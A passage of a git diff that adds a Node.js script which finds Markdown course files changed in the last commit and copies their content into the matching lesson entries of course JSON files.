".forestry/config.ts", + ".next/types/**/*.ts" + ] +} diff --git a/update_json.js b/update_json.js new file mode 100644 index 00000000..36458e60 --- /dev/null +++ b/update_json.js @@ -0,0 +1,57 @@ +const fs = require("fs"); +const path = require("path"); +const { execSync } = require("child_process"); + +const coursesPath = "courses"; +const jsonFilesPath = "content/courses"; + +// Function to update the corresponding JSON file for a changed Markdown file +function updateJsonForMarkdown(mdFilePath) { + // Extract course slug from the Markdown file path + const courseSlug = path.basename(path.dirname(path.dirname(mdFilePath))); + + // Construct the path to the corresponding JSON file + const jsonFilePath = path.join(jsonFilesPath, courseSlug + ".json"); + + // Check if the JSON file exists + if (!fs.existsSync(jsonFilePath)) { + console.log(`JSON file not found for course: ${courseSlug}`); + return; + } + + // Read the Markdown file + const markdownContent = fs.readFileSync(mdFilePath, "utf8"); + + // Read and update the JSON file + const jsonContent = JSON.parse(fs.readFileSync(jsonFilePath, "utf8")); + + // Iterate through sections and lessons to find the correct one to update + let updated = false; + jsonContent.sections.forEach((section) => { + section.lessons.forEach((lesson) => { + if (lesson.rawMarkdownUrl === mdFilePath.replace(coursesPath, "")) { + lesson.markdownContent = markdownContent; + updated = true; + } + }); + }); + + if (!updated) { + console.log(`Lesson not found in JSON for Markdown file: ${mdFilePath}`); + return; + } + + // Write updated JSON back to file + fs.writeFileSync(jsonFilePath, JSON.stringify(jsonContent, null, 2)); +} + +// Get a list of changed Markdown files +const changedFiles = execSync("git diff --name-only HEAD HEAD~1") + .toString() + .split("\n"); +changedFiles.forEach((file) => { + if (file.startsWith(coursesPath) && path.extname(file) === ".md") { + console.log(`Updating JSON for changed file: ${file}`); + updateJsonForMarkdown(file); + } +});